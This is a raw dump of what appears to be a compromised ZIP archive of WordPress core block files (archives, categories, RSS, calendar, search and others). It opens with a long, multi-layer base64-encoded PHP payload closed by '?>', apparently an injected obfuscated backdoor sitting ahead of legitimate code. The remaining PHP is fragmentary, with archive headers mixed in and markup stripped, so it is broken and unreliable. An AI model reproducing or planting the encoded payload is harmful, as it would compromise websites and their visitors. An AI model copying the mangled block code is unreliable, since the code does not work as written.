XTldiRFpSYms1VFVtNUNTbGRyWkc5V1JrcFdWMnBHVjFKV1dsQlZWekZMWkVaS2NtSkdXbWxpUlhCM1ZsWlNTMVF5Vm5OVWJGcFZZbGhTY1ZacVFUQk5WbVJWVkdzNVZHSkZWalZXVnpWSFYyMVdjazVWT1ZwaVdGRXdWV3RhUjFkRk5WaGxSazVzWVRGdk1sWlVTVEZqTURCNFlqTmthVTB5ZUhGVk1HaERZMFpTV0dOR1RtdFdiRXBIVmtkMFMyRlhTbFpqUm14WFZtMU5lRll4V2xabFYxSkpXa1pTVjFZeVp6SldhMlF3VkRKT1IxSnNhR0ZTV0VKVFZGVldZV1JXVlhoV2F6bFNZa2M1TTFsclZsTlZiRmw1Vld0MFZtRnJXbWhaTVZwelZteHNObFZ0Ums1U00yZzBWMnhXYTJJeFRuTlRXR3hvVWtaYVdWbHJaRk5aVmxGNFZtNWtUMVpyTlZsWGExVjRZVVphVmxkdWJGaFhTRUpNV1hwS1MyUkdUblZVYkVwcFZqSm9lRmRYZUZkWlZURkhZVE53YVZKNmJHRlpWRWsxVGxaYWRFMVVRbWhTYlZKSVZXMDFWMVpHV2xkU2FrNVVaV3RLZWxWcldsZGtSMVpJWWtkc1YxWkdWWGhXTW5oaFlqRkZkMDFWWkdwU2JXaFhXV3hhZDJOV1ZuRlJiSEJyVFZkNFYxWXhhR3RoYXpGSVpVVldWMVo2Vmt4V1JWcFdaREZLY1ZKc1VsZFdWRlpNVjFjeE1HTXhUa2RWYmxaVllraENXVlZzVWxaTmJGcFdWMnM1YUUxcldsbFdWM1J2VkRGS05sWnNTbUZTYkZsM1dWY3hSMk5IVFhwVGF6bFRUVEJGZUZaV1pEQlpWbXhYVTFoc2EwMHlVbGRWYkZWM1RWWnNWbGRyVG1wU2F6VldWMnRXVjFac1dqWmlTRlpXVFZaYVVGVlhlSFprTWtwR1ZXeEtWMDFzU2t4V1ZFSlRVVEZSZUZKWWJHbFNWWEJvVkZWa05GSldWbGRhUjNSVVlrVldNMVZ0TURGVk1VcHlWMnBLV0dGclNucFZhMXBIVjBad1JtTkdTazVTVm5BeFZsUkdWMkV4V1hsU2JsSlRZVEpvVVZWcVNsTlRNV3hZVGxjNWFVMVZOVmRYYTJNMVlrWmFkVkZzYkZkTlZrcDZWWHBLVjFadFNraE9WbFpUVFc1b1JGZFdVa3RVYlZaWVUydG9UMVl5ZUhCVmJGWjNaR3hrVlZOWWFGTk5iRXBKVmtkd1YyRkdTWGRqUlhoVlZqTm9URmw2Um5OamJIQkhXa1UxVTJKclNsWldNVkpMWVRGV1YxZHJWbFppVkZaVldWUktVMWRHY0VkWGJrcHNZa1UxZUZadE1YZFdSa3B5WTBod1YwMXVVbUZVYkdSU1pVZEtSMkpHV21sV1IzaGhWbXhTVDJFeVNuTlVia3BoVTBoQ2NWVnNaRFJTVmxKeVdrZDBWR0pWV2xsV1J6QXhWMjFHY21FemFGcFdla1pNVlRCa1MxTkhUa2hoUjNob1lUQnZlRll4VWtwbFJsbDNUVlZvVm1KSGVGVlpiWGhoVXpGV2NWRlVSazVpUjNnd1ZGWmtSMkZzU1hkT1ZFSlZWbGROTVZZeFdrWmtNazVHVjJ4b2FWSXhSWGRYVjNSclZURk9SMWRzYUdGU2JYaFVXVzB4YjJOV1ZYaGFTRTVXVFdzMVNWWlhkRzlXTWtwelUyeHdWbUpVVm5aWlYzaFBWMGRLTmxac2NFNVdNbWhLVmtkNFlWWXlSa2RUV0d4c1VrWndWVlpzWkZOVFJteFlUVlpPVkZJd2NFcFdNakZ6WVVaYVZtTklhRmROVm5CeFZGWmtVMWRHVGxsalJscFhUV3hLYUZkWGVHRldNa3B6WTBWa1dtVnJXbTlVVjNSelRsWlNjMXBFVWxWV01IQktWMnRvUTFaRk1WWk9XRVpZWVd0YWVWcFdaRmRUUjBaSVkwVTFUbEpGUlhoV1ZFcDNVekZOZDAxVmFGUmlhMHBoV2xab1RrMUdWWGxpUkVKWVZqQldORlpIZEU5Vk1WcDFVV3hzWVZaWFVUQlpWRVpLWlVaYVZWVnNWbE5TV0VKSVZUTndRMk15VGxoVVdHUlBWbFpLYjFac1ZtRmtWbFY0Vm1zNVVrMUViRmRXVjNoTFlWVXhkRlZyZEZaV1JVcElXVzE0YTJNeGNFWlBWMnhPWVRJNGVGWldXbXRqTVZaWFVtcGFhRTB5VWxsWlZFWkdaREZSZDFacVRteGlSbG94V1d0YVIyRkdXbGhqTTNCV1lURndTRnBFUVRWV2JGWnpVMjFzVGxKR1drWlhWM2hoV1ZkT1YySkdXbHBsYkVwb1ZGVmtOR1ZHY0VWVWJVWm9UVlZzTTFZeU5VTlhiVVY1Vld4a1ZHVnJXa1JWYTFVMVYwZFNTR0ZHYUZOaVdGSTFWbFJHYTJReVZuTlZia3BWWWxSV1QxVnNhRk5VYkhCWFZXMDVhV0Y2Um5wWmEyUnpWMGRLV0dGSVNscGlSbHA1V2xaYVUxSnNWbk5qUjNCb1RVUldSMVpxUm05VU1rVjVVMnhhVkZkSGVGWlZhazVUWkZaU1dHUkVRbWxXYlZJd1dWVlZOV0ZXV2xkaVJGWlhUVlp3VkZkV1duWmxWbFoxVVcxc2FHRXpRazVYVjNCQ1RWWktTRk5zWkZoaWExcGhWbXhrVGsxR1pIRlJiazVwWVhwR1IxcEZXa2RWTURGV1kwUk9XR0V5VW5wVlZFcFhaRVpXY21KSGJGUlNWRlp2Vm0xMFUxRXlVbGRhUm1oT1ZsZFNiMWxzVmxkT1ZtUnlZVWhPYUZaVVFqUldNbkJIVjBkRmVGTnFTbHBXTTA0MFZXeGFSMWRYUmtkUmF6Vk9VbGhDTWxacVNqQmhNVlY1Vkd0b1ZHSnNTbUZhVjNoM1ZERmFjbGR0Ums1TldFSlhWbGR3UTJGR1dYZGlSRnBXVFdwRmQxZFdXbXRTYlVwRlVXeHdUbUZyV2tsWFZsSkxVakZrVjFkdVZtcFNhMHB2V1d0YWRtVnNaSE5XYkU1T1VqRktTRmxyV25OV1IwcFZWbTA1VjJKdVFsTlVWM2hUVmpGV2NsUnRkRTVpUm5CR1ZsWmFiMkV4VmtoV2JHaFZWMFZ3VkZWdGRHRk5iR1J4VVc1T1UxSnJXbGxYYTFwSFZUQXhkRlZVU2xkV1YyaFlWa1ZhVjFOV1NuRldiRXBwVW01Q2VGWlhjRTlpTURGeldrWmtZVkpyY0doVVZsWjNUVVpzY21GRk9WcFdiSEJLVjJ0U1MxZHNXbGRUYXpsVVpXdEtWRlpYTVVwbFZuQkdZMFpLVGxKV2NERldiRlpYWVRGc1dGVnVVbFZpYkVwUFZXcEtVMk5HV25GU2JIQnJUVmQ0VjFkWWNGZGhSVEZXVTJ4V1dHRXlhSEpaVmxWM1pEQTFTVnBHVW1saVdHaEZWMWQwYTFNeVVrZFZia1pTWWxob1dWVnNWbmRsYkZwV1YyczVhRTFzU2tsV1YzaHZZa1pLUmxOdE9WZE5SbHBNV1dwR2NtVlZOVmRUYlhScFUwVkpkMVpFUm05ak1rWlhWbXBhVTJKcmNGbFdiVEZ2Vmtac1ZsWnVaRTloZWxaSFZHeFdVMkZHV2xaWGJsWldUVlphVUZWWGVIWmtNa3BHVld4S1YwMXNTbE5XVjNCTFRrVXhWMkV6WkdoU2JWSlBWV3hrTkZOc1dsaGpSbVJvWWtWc05GWnNVbGRXUjBaeVkwZG9XazFIVWt4Vk1GcGhWMFUxVm1OR1RteGlSbkF5VmpGa05HRXhXbkpQVmxwcFRUTkNXRmx0TVZOalJsWjFZMGhPYVUxWFVubFhhMXByWVVVeFdGcEVWbGROYWxaRVdWWmFTbVZHV25WV2JGSlhWakpvVVZaR1ZtdFdNV1JJVm10b2JGSnJXbGRVVjNoTFpVWmtXR05GZEU5U01Vb3dWa2MxUjJGVk1YVlJhemxXWVd0YWVsUlVSbE5PYkU1eVpFZG9VMkpZVVRGWGExWnFUVmRHZEZOc1ZtaE5NbWhoV1d4U1IxVXhVblJrU0U1UFlrVmFXbGRyVlRGaFIwcHpVMjVrV0ZZelFsQlZla3BHWlVkT1IySkdVbGRTYmtKUVZtcENWMU5yTVVkVWJGcG9VbFJzY2xsc1ZuZFRWbXh5V2tSQ1ZHSkZWak5VVmxKUFZsZEtSMU5zWkZWaGEzQlFWVEJhUzJSSFVraFNiRTVPWW0xa05GWnFTVEZrTWxKeVRsVm9WV0V5ZUdoYVZ6RlRWRVp3V0dOR1RsVk5WVlkxV1d0V1MxbFZNVWhsUlZaV1ZtMVNjbFV5ZUVaa01VcDBUbFphVTFZeFNrMVdSbHByVlRGT1YxWnVWbGhpVjNodlZteFdjMDB4WkhOWGJUbFNUV3R3U0ZWWGVGTlpWazVKVVc1S1YyRnJTak5VVlZwelZqSkdSMU50YkdoTmJtaExWbXRrZDFFeVNrZFhXSEJvVTBVMVYxVnRjekZqYkd4WFYyNU9XRkpzU2pGVk1qRkhWR3N4U1ZGWWJGaGhNWEJ4VkZaa1JtUXdPVmxSYkZaWVVqRkthRlp0ZEZkU2F6QjRXa1pXVkZaR1duRlVWM1J6VG14VmVGVnRSbFJpVmxwNVZXMXdUMVpXV2xkVFdHUmhVa1ZhZWxZd1dsZGtSMUpJWVVaa2JHSkdiM2hXYTFKTFpESkplVlZZYkZkaE1VcFRWakJrYjFWR1dYZFdhM0JPVW14Sk1sVXlkREJoTWtwV1RsUkNWMVo2UlRCWlZ6RkhaRlpHY1ZKc2NHaGhNblEwVjFkMFZrNUhWbGRWYmtaVFlsaENjRmxZY0ZabFZtUlZVMjVrYTAxc1JqVlZNV2h6WVZaT1IxZHVTbFpoYTFwb1ZHeGFVbVZ0U2toalJYaE9WbTVDWVZaV1l6RlVNa1pXVFZoS1dHSnJjRmRWYkZWM1RWWnNWMXBHVGxoV2JGcDRWVmN4YzFSdFJuTlNibXhXWVRGd1NGcEhlSFprTWtwR1ZXeEtWMDFzU2xOV1ZtaDNZekpTUjJKSVJsVmhNMUp5VlcxMFMyUldVbFpXYWtKV1ZtdFpNbGxyYUV0WGJGcDBZVWRHVkdWclNucFpNV1JPWkRBMVZsVnRSbXhoTUhCT1ZtdFdiMk5yTlVkalJGcFVZa2hDWVZscmFFTmtiR1J5V1ROb1ZHRjZSbmxhVlZaWFYwWmtSbU5GVmxaaE1YQjZXbFZrVTFORk1WWmhSVFZwVWpOb1MxWnFTWGhqTURGSVVteHNZVkpZUWxaWmJHUTBUVlpTV0dWSVRsZFdiVkpaVkRCU1YyRldXbGhrUkZaV1pXdHdhRmRXWkVkVFJsWjFVVzE0VTFacmNGUlhWRUpyVGtaa2NrMVlVbWhTUlhCVlZteFZNVk14V2toa1JUbHFWakZhU1ZwRlpHOVhSa3AwWlVoV1dGZElRbEJXVkVFeFYwWk9jbUZHWkZkU00yaE5Wa1prTUdReVNYaGFSbFpVWVd0S2NGbHNWVEZOUmxGNFZXdGthRll3Y0ZoVmJGSkxWa1prU1ZGclRtRlNSVVkwVm14a1UxTldjRWRqUm1ST1ZsaENOVll4V21GaGF6RllVMjVLVUZkRldsUldhMVpoWTFaVmQxcEhjRTVOVjFKWlZGVlNWMkpHV25WUmEyeFhZbFJXZWxaR1dtdFNiVTVJVDFab2FFMXNTalpXUmxwclZEQTFkRk5xV2xOaVdFSlZWV3BLVG1Wc1pGaGxSM1JUVFd4YVdGbHFUbk5oVms1SFYyeEdXbFl6VWxoVVZFWnlaREpHU0U1WFJrNVNSVnBIVjFod1NrMVdWbGRqUkZwU1lUTm9WVlpzVlRGUk1XUnhVVzVPVTFZeFdrbFVNVlV4WWtkR2RGVnVaRnBpUjJoSVZXMTRkbVZHU2xsaVJrSllVbXR3ZDFadGNFTlpWVEZYV2toS1ZXRXdOVlJaYkZwaFUxWmFkRTFZWkdoTlYxSklWVEkxYTFkdFJuSmhNMlJWVFVaWmVscFdXblpsYlU1SFVtMUdiR0V3Y0U1V1ZFWlhWREZHYzJJelpHbFNWbHB6Vlc1d1IyTkdVbFZSYm1ST1VtczFWMWRVVG05aFZrbDRVMnRzV2xaWGFHaFhWbHBMVWxaR2RWWnNjRTVTTURCNFYyeGplRlV4U2tkaVJGWnJVbFphVjFadWNITmtWbFY0Vm1zNVVtSkhPVE5aYTFaVFZXeFplVlZyZEZaaE1taDJXa1JHYzJSRk5WWlVhelZYVFZWd1JsWldaSGRSTWtwSFdrVmFWR0pyTlZkVmJYTXhZMnhTVmxkdVpGaFdNRnBHVlZkME1HSkdXbFppTTJoWFRWWndjVnBWWkV0U01VWnpWVzFHVTAwd1NrMVhiRnBYVXpBd2VHSklTbUZTVjFKdldXdG9RMWRXYkZaaFIwWm9WbXRzTkZVeU5VOVhhekYwVDFST1dtSllhRXhXTUZVeFZsWkdkRkpzYUZOV00yZ3hWbXBHVTFOck5WaFZhMmhVWWtkb1ZGbHRlR0ZoUmxaVlVXdGthMkpIZUhsWlZWVXhZV3N4U0dWRmJGZFdlbFpFV1ZjeFIxZFdjRWhPVm1oWFVsaENTVlpHVmxkT1JrcEhVbTVTYkZJelVsUlVWVkpHWlVaV05sSnJPV2hpUnprelZsZDRTMkZWTVhSVmEzUldWa1ZLU0ZsdGVFOVdiRkp5VTIxR1RsSXphRVpXVmxwcllURk9jMUpZWkZOaVZGWlZWbXhWTVZKR2NGaE5WazVVVmpCd1NsWkhNVWRXTVVwR1UycEdXR0V4U2t4WmVrcEdaVlpXY21GSFJteGlTRUpSVjJ4a01GSXlUWGhWYWxwVllUQTFiMVZ0TlVOVFZscFlUbFZPYUZZd2NGbFdSbEpMVmxVeFNHRkZVbFZoTVZVd1dsWmFUMlJIUmtkalJUVnBZa1Z2ZUZZeFVrcGtNRFZXVFZab1ZHSnNTbGRXYTFwM1V6RndXR1JGWkU1TlZrcFpXVEJTUTJGSFNsWmlSRlpoVmxkb2FGbFhNVWRrUlRsWlVteFdWMVl4U21oWGExSkNUa2RXVjFSdVZsaGlXRUp3Vm0xMGQyVnNaRlZUYm1ScllsWmFTVlpIZEhOWlZURjBWVzVHVlZZelFucGFWM2h6VmpGd1IxTnRSazVTTTJONVZsWmFVMUl4VVhoWGEyeFZZbXhhVjFWcVNrOU5NVlkyVVc1T1UxSnJXbGxYYTFaM1ZXc3hSbGR1VmxaTlZscFFWVmR6TlZJeVNrbFdiR1JvWVRCd2VWWlhOWGRqTURGWFZHeGFhRkpyTlZCV2FrRXhVMVphYzFWdVRsUk5SRUl6Vkd0b2IxZEdXalpSYWxKYVRVZFNWRlZyV25KbFZuQklZMFUxVGxaWGREUldNV1F3WVRGYWNrOVdXbWxOTW5oVldXeGtiMWxXVWxoT1ZrNXJWbTEwTlZSVlVsZFViRmwzWTBSQ1YxWnNTbWhWTWpGWFkyeE9kRTlXVmxkV2Eyd3pWMVpqZUZOdFZsaFdhMnhZWWxoQ2IxbHNVbk5sUmxwSFZteE9VbUpXUmpOVU1HaDNWVzFLV0dGSGFGWmhhMXBNV2tSR2MyUkZNVmhqUlRsb1pXMTRTMVpXWkhkVk1VNXpVMnRhVjFkSGFHRlVWV1J2WkZaU2NWSnVUbXRTVkd4YVdXdGtSMVV3TVZkaWVrWlhVa1ZzTTFSV1pGTmtSazUxVld4a1YxSXhTbWhXUmxKSFdWVTFWMkpFV2xSV1JscHpWbXhTYzAxV1ZsaE9WMFpvVW14dk1sWnNhR3RYUjBwSVlVVjBWV0ZyU2pOVWJYTXhWbXhrZEdWR1RrNVdia0kwVmpKMFlXSXhWWGxUYTJSU1lURktVVlpxU2pSamJGbDNWMnR3YTAxWGVIaFZNVkpEVkVVeFIxTnNUbHBoYTNCeVZUSjRSbVF4U25ST1ZscFRWbFJCZUZkWGVHdFRiVlp6Vkc1V1ZtSkZXbWhhVjNSTFZGWmFWbFpyTlU5V01GWTFWVzE0YzFkR1ZYcFZhM1JhVm5wV1VGWkVSa1psVm10NldrWlNUbE5IWTNoV1JFSnJZVzFXVjFWcmFFOVdia0p4VkZkNFMyUXhVbGhrU0U1VlRXdHdWMWRVVG5OV1JUQjNZMGRvV2xadGFGUlpNR1JQVG14T2NtVkhhRTVpVlRReFZsaHdTMWxXYkZoU2ExcFBWMFZLYjFsWGRIZFpWbXhZWlVoT2EwMUViRmxVVmxaclZHMUZlbUZGWkZkU00xSlFXa1ZrUzFORk1WWmpSa3BPWWxkbmVsWXhhSGRVTVZGNVUydG9WbUV4U21oVVZ6VlRWMnhTVjFacmRGWldiSEJXVlcxNFQxZHRSWGxQVkZaWFVtMU5lRll4V2xabFYxSkpXa1pTVjFZeVp6SldhMlF3VkRKT1IxSnNhR0ZTV0VKVFZGVldkMlZzV1hoVmEzUnBUV3hLZVZsclZsTlhiVlowWVVkb1ZtRnJiM3BhVmxwUFZtMUdSazlWTlZOTlZuQmFWMnhXYTA1R1ZsZFdXR1JxVTBWS1dWWnRNVk5WUm10NVpVaGFiR0pGTlRGV01qRXdWakpXYzFkdWJGZFNSWEI2VmtjeFVtUXdNVlpXYkU1WFVqRkthRlpHWkhkak1sWnpZa2hHVldFelFsQlpWRW96VFd4V1dFMUlhRlZpUlhCS1ZsZHdUMWRHV25SVmJGSmFWa1Z3U0ZZd1ZURlhSVFZYVVcxb2FFMVdhM2hXTVZKRFlqSktjazVJYkZSaVIyaFVXVzB4TkdGR1VsaE5WRkpPVm14S1NGbFZXazloTWtwV1RsVmFXbUZyTlhaV1JFWnJVbXhPVlZGc1ZteGhNMEpOVjJ0amVGUXlVa2RXYmxKc1VqTkNiMVpyVmxwTlZsbDRWMjEwVmsxck5VbFdWM2h6VmxaYVIyTkdRbGROUmxwTFZGVmFVMDVzVG5Ka1IzUnBWbFJWZDFac1kzaE9SMFowVW01U1VGWkdTbUZVVldSdlpGWmtjVk5yTld4V1ZHeGFWa2N4YjFZd01WWlhibFpXVFZkb00xVlVTa2RTYXpGV1ZtMXdUbUpZYUZOWFZscHJWR3N3ZUZOclpGTmliSEJvVkZWa05GSldWbGRhUjNSYVZteHNNMVJzYUdGWGJVcDBaVVZPV21KWWFFUlZNVnBUWTFaR2RHTkhiRmRTTTJRMFZtcEpNV1JyTVZkVGEyaFVWMGQ0VDFZd1drdFpWbHAxWTBaa2FtSkZOVmRXYkZKWFZHeFplRk5yY0ZaV00wSklXVlJHUzFORk9VVlZiRlpUVWxSV1VWWkdWbXRVTWxKR1QxWnNWMkpWV25OWlYzaEdUVVpaZUZsNlJsUmhNMDQwVlZkMGIyRkdUa2hsUlhSV1RVWlZkMXBFUm5kV01YQkZWVzFzVTJFd2NGWldWRWw0WXpKR1ZrMUlaR3BUUlhCWldXdGtiMU14Y0VaWGJrcHNWbFJzV2xaSE1YTlVhekZJWXpOc1ZrMVhhRE5WVjNONFZtczFWMVZzVWxaTk1VcE5WMnhqTVZReFVYaFNXR3hwVWxWd2FGUlZaRFJTVmxaWVRWUlNXR0Y2UmpCWlZWSkxWa1phVms1WVJsVk5SMUpRVlRGYVQyUkhWa2RTYldoWFRVUkNObFpYZEdGU01sSnpZak5rYVZKV1NsTldha3BUVkVaV2NWSnNjRTVTYlZKNlYydFZOVlJzV1hoVGEyeFhZbGhTVkZsV1ZYaGpWa3B4VVd4b1YySlZNVFJYVmxKRFRVWktSMVp1VWxoaVJuQlVWbXRrTkZac1duUmtSMFpzWWxWd2VsbHJVbGRaVmtsNFUyc3hWMkV5YUZCV1JFWkdaVmRLUmxOdFJrNVNNMmhHVmxaamVFNUdaSEpOV0ZKb1VrVndWVlpzVlRGalZsRjNWbXBPYkdKRldqRlphMlJIVmpGS1IxTnFSbGRTUlRWeFdrUkdUbVF5U2taVmJFcFhUV3hLVEZaWGNFZFpWMDVYWWtaYVdtVnNTbWhVVldoQ1RXeHdSVlJ0UmxwV2EydzFXa1JPYzFac1NYbGxTRVpWWVd0S1ZGWlhNVTlTVjBwR1ZteGFWMlZ0ZUZGV1ZsSktaVVpaZVZKdVVsTmhNbWhSVldwS1UxTXhiRmhPVjNST1lrZFNXVlJWVWxkaFJURnpWMnhhVldFeFZYaFZhMlJIWkZad1JWTnNjRmRXTW1oVlYydFdhMU14U2xaT1ZXaHBVbXRLY2xwWGNFSk9WazVZWWtoS2FsSlVhekZWVmswMVZWWndOazFFYkVwaFYzUjNWRE5zUWt3eFFtNVFWREJwUzFOck4wbEVPQ3NpS1NrN0lEOCsiKSk7ID8+")); ?>PKFx\J- archives.phpnuW+A 'monthly', 'format' => 'option', 'show_post_count' => $show_post_count, ) ); $dropdown_args['echo'] = 0; $archives = wp_get_archives( $dropdown_args ); switch ( $dropdown_args['type'] ) { case 'yearly': $label = __( 'Select Year' ); break; case 'monthly': $label = __( 'Select Month' ); break; case 'daily': $label = __( 'Select Day' ); break; case 'weekly': $label = __( 'Select Week' ); break; default: $label = __( 'Select Post' ); break; } $label = esc_attr( $label ); $block_content = ' '; return sprintf( '
%2$s
', esc_attr( $class ), $block_content ); } $class .= ' wp-block-archives-list'; /** This filter is documented in wp-includes/widgets/class-wp-widget-archives.php */ $archives_args = apply_filters( 'widget_archives_args', array( 'type' => 'monthly', 'show_post_count' => $show_post_count, ) ); $archives_args['echo'] = 0; $archives = wp_get_archives( $archives_args ); $classnames = esc_attr( $class ); if ( empty( $archives ) ) { return sprintf( '
%2$s
', $classnames, __( 'No archives to show.' ) ); } return sprintf( '', $classnames, $archives ); } /** * Register archives block. */ function register_block_core_archives() { register_block_type( 'core/archives', array( 'attributes' => array( 'align' => array( 'type' => 'string', 'enum' => array( 'left', 'center', 'right', 'wide', 'full' ), ), 'className' => array( 'type' => 'string', ), 'displayAsDropdown' => array( 'type' => 'boolean', 'default' => false, ), 'showPostCounts' => array( 'type' => 'boolean', 'default' => false, ), ), 'render_callback' => 'render_block_core_archives', ) ); } add_action( 'init', 'register_block_core_archives' ); PKFx\F1social-link/block.jsonnuW+A{ "name": "core/social-link", "category": "widgets", "icon": "share", "attributes": { "url": { "type": "string" }, "service": { "type": "string" }, "label": { "type": "string" } } } PKFx\~$0  categories.phpnuW+A false, 'hierarchical' => ! empty( $attributes['showHierarchy'] ), 'orderby' => 'name', 'show_count' => ! empty( $attributes['showPostCounts'] ), 'title_li' => '', ); if ( ! empty( $attributes['displayAsDropdown'] ) ) { $id = 'wp-block-categories-' . $block_id; $args['id'] = $id; $args['show_option_none'] = __( 'Select Category' ); $wrapper_markup = '
%2$s
'; $items_markup = wp_dropdown_categories( $args ); $type = 'dropdown'; if ( ! is_admin() ) { $wrapper_markup .= build_dropdown_script_block_core_categories( $id ); } } else { $wrapper_markup = ''; $items_markup = wp_list_categories( $args ); $type = 'list'; } $class = "wp-block-categories wp-block-categories-{$type}"; if ( isset( $attributes['align'] ) ) { $class .= " align{$attributes['align']}"; } if ( isset( $attributes['className'] ) ) { $class .= " {$attributes['className']}"; } return sprintf( $wrapper_markup, esc_attr( $class ), $items_markup ); } /** * Generates the inline script for a categories dropdown field. * * @param string $dropdown_id ID of the dropdown field. * * @return string Returns the dropdown onChange redirection script. */ function build_dropdown_script_block_core_categories( $dropdown_id ) { ob_start(); ?> array( 'align' => array( 'type' => 'string', 'enum' => array( 'left', 'center', 'right', 'wide', 'full' ), ), 'className' => array( 'type' => 'string', ), 'displayAsDropdown' => array( 'type' => 'boolean', 'default' => false, ), 'showHierarchy' => array( 'type' => 'boolean', 'default' => false, ), 'showPostCounts' => array( 'type' => 'boolean', 'default' => false, ), ), 'render_callback' => 'render_block_core_categories', ) ); } add_action( 'init', 'register_block_core_categories' ); PKFx\ tag-cloud.phpnuW+A false, 'taxonomy' => $attributes['taxonomy'], 'show_count' => $attributes['showTagCounts'], ); $tag_cloud = wp_tag_cloud( $args ); if ( ! $tag_cloud ) { $labels = get_taxonomy_labels( get_taxonomy( $attributes['taxonomy'] ) ); $tag_cloud = esc_html( sprintf( /* translators: %s: taxonomy name */ __( 'Your site doesn’t have any %s, so there’s nothing to display here at the moment.' ), strtolower( $labels->name ) ) ); } return sprintf( '

%2$s

', esc_attr( $class ), $tag_cloud ); } /** * Registers the `core/tag-cloud` block on server. */ function register_block_core_tag_cloud() { register_block_type( 'core/tag-cloud', array( 'attributes' => array( 'align' => array( 'type' => 'string', 'enum' => array( 'left', 'center', 'right', 'wide', 'full' ), ), 'className' => array( 'type' => 'string', ), 'taxonomy' => array( 'type' => 'string', 'default' => 'post_tag', ), 'showTagCounts' => array( 'type' => 'boolean', 'default' => false, ), ), 'render_callback' => 'render_block_core_tag_cloud', ) ); } add_action( 'init', 'register_block_core_tag_cloud' ); PKFx\Ϸ88 shortcode.phpnuW+A 'render_block_core_shortcode', ) ) ); } add_action( 'init', 'register_block_core_shortcode' ); PKFx\lS^rss.phpnuW+A
' . __( 'RSS Error:' ) . ' ' . esc_html( $rss->get_error_message() ) . '
'; } if ( ! $rss->get_item_quantity() ) { return '
' . __( 'An error has occurred, which probably means the feed is down. Try again later.' ) . '
'; } $rss_items = $rss->get_items( 0, $attributes['itemsToShow'] ); $list_items = ''; foreach ( $rss_items as $item ) { $title = esc_html( trim( strip_tags( $item->get_title() ) ) ); if ( empty( $title ) ) { $title = __( '(no title)' ); } $link = $item->get_link(); $link = esc_url( $link ); if ( $link ) { $title = "{$title}"; } $title = "
{$title}
"; $date = ''; if ( $attributes['displayDate'] ) { $date = $item->get_date( 'U' ); if ( $date ) { $date = sprintf( ' ', esc_attr( date_i18n( get_option( 'c' ), $date ) ), esc_attr( date_i18n( get_option( 'date_format' ), $date ) ) ); } } $author = ''; if ( $attributes['displayAuthor'] ) { $author = $item->get_author(); if ( is_object( $author ) ) { $author = $author->get_name(); $author = '' . __( 'by' ) . ' ' . esc_html( strip_tags( $author ) ) . ''; } } $excerpt = ''; if ( $attributes['displayExcerpt'] ) { $excerpt = html_entity_decode( $item->get_description(), ENT_QUOTES, get_option( 'blog_charset' ) ); $excerpt = esc_attr( wp_trim_words( $excerpt, $attributes['excerptLength'], ' […]' ) ); // Change existing [...] to […]. if ( '[...]' === substr( $excerpt, -5 ) ) { $excerpt = substr( $excerpt, 0, -5 ) . '[…]'; } $excerpt = '
' . esc_html( $excerpt ) . '
'; } $list_items .= "
  • {$title}{$date}{$author}{$excerpt}
  • "; } $class = 'wp-block-rss'; if ( isset( $attributes['align'] ) ) { $class .= ' align' . $attributes['align']; } if ( isset( $attributes['blockLayout'] ) && 'grid' === $attributes['blockLayout'] ) { $class .= ' is-grid'; } if ( isset( $attributes['columns'] ) && 'grid' === $attributes['blockLayout'] ) { $class .= ' columns-' . $attributes['columns']; } if ( isset( $attributes['className'] ) ) { $class .= ' ' . $attributes['className']; } return sprintf( "", esc_attr( $class ), $list_items ); } /** * Registers the `core/rss` block on server. */ function register_block_core_rss() { register_block_type( 'core/rss', array( 'attributes' => array( 'align' => array( 'type' => 'string', 'enum' => array( 'left', 'center', 'right', 'wide', 'full' ), ), 'className' => array( 'type' => 'string', ), 'columns' => array( 'type' => 'number', 'default' => 2, ), 'blockLayout' => array( 'type' => 'string', 'default' => 'list', ), 'feedURL' => array( 'type' => 'string', 'default' => '', ), 'itemsToShow' => array( 'type' => 'number', 'default' => 5, ), 'displayExcerpt' => array( 'type' => 'boolean', 'default' => false, ), 'displayAuthor' => array( 'type' => 'boolean', 'default' => false, ), 'displayDate' => array( 'type' => 'boolean', 'default' => false, ), 'excerptLength' => array( 'type' => 'number', 'default' => 55, ), ), 'render_callback' => 'render_block_core_rss', ) ); } add_action( 'init', 'register_block_core_rss' ); PKFx\P#  calendar.phpnuW+A%2$s', esc_attr( 'wp-block-calendar' . $custom_class_name . $align_class_name ), get_calendar( true, false ) ); // phpcs:ignore WordPress.WP.GlobalVariablesOverride.OverrideProhibited $monthnum = $previous_monthnum; // phpcs:ignore WordPress.WP.GlobalVariablesOverride.OverrideProhibited $year = $previous_year; return $output; } /** * Registers the `core/calendar` block on server. */ function register_block_core_calendar() { register_block_type( 'core/calendar', array( 'attributes' => array( 'align' => array( 'type' => 'string', 'enum' => array( 'left', 'center', 'right', 'wide', 'full' ), ), 'className' => array( 'type' => 'string', ), 'month' => array( 'type' => 'integer', ), 'year' => array( 'type' => 'integer', ), ), 'render_callback' => 'render_block_core_calendar', ) ); } add_action( 'init', 'register_block_core_calendar' ); PKFx\  block.phpnuW+Apost_type ) { return ''; } if ( 'publish' !== $reusable_block->post_status || ! empty( $reusable_block->post_password ) ) { return ''; } return do_blocks( $reusable_block->post_content ); } /** * Registers the `core/block` block. */ function register_block_core_block() { register_block_type( 'core/block', array( 'attributes' => array( 'ref' => array( 'type' => 'number', ), ), 'render_callback' => 'render_block_core_block', ) ); } add_action( 'init', 'register_block_core_block' ); PKFx\h6 6 search.phpnuW+A%s', $input_id, $attributes['label'] ); } else { $label_markup = sprintf( '', $input_id, __( 'Search' ) ); } $input_markup = sprintf( '', $input_id, esc_attr( get_search_query() ), esc_attr( $attributes['placeholder'] ) ); if ( ! empty( $attributes['buttonText'] ) ) { $button_markup = sprintf( '', $attributes['buttonText'] ); } $class = 'wp-block-search'; if ( isset( $attributes['className'] ) ) { $class .= ' ' . $attributes['className']; } if ( isset( $attributes['align'] ) ) { $class .= ' align' . $attributes['align']; } return sprintf( '', esc_attr( $class ), esc_url( home_url( '/' ) ), $label_markup . $input_markup . $button_markup ); } /** * Registers the `core/search` block on the server. */ function register_block_core_search() { register_block_type( 'core/search', array( 'attributes' => array( 'align' => array( 'type' => 'string', 'enum' => array( 'left', 'center', 'right', 'wide', 'full' ), ), 'className' => array( 'type' => 'string', ), 'label' => array( 'type' => 'string', 'default' => __( 'Search' ), ), 'placeholder' => array( 'type' => 'string', 'default' => '', ), 'buttonText' => array( 'type' => 'string', 'default' => __( 'Search' ), ), ), 'render_callback' => 'render_block_core_search', ) ); } add_action( 'init', 'register_block_core_search' ); PKFx\(social-link.phpnuW+A ' . $icon . ''; } /** * Registers the `core/social-link` blocks. */ function register_block_core_social_link() { $path = __DIR__ . 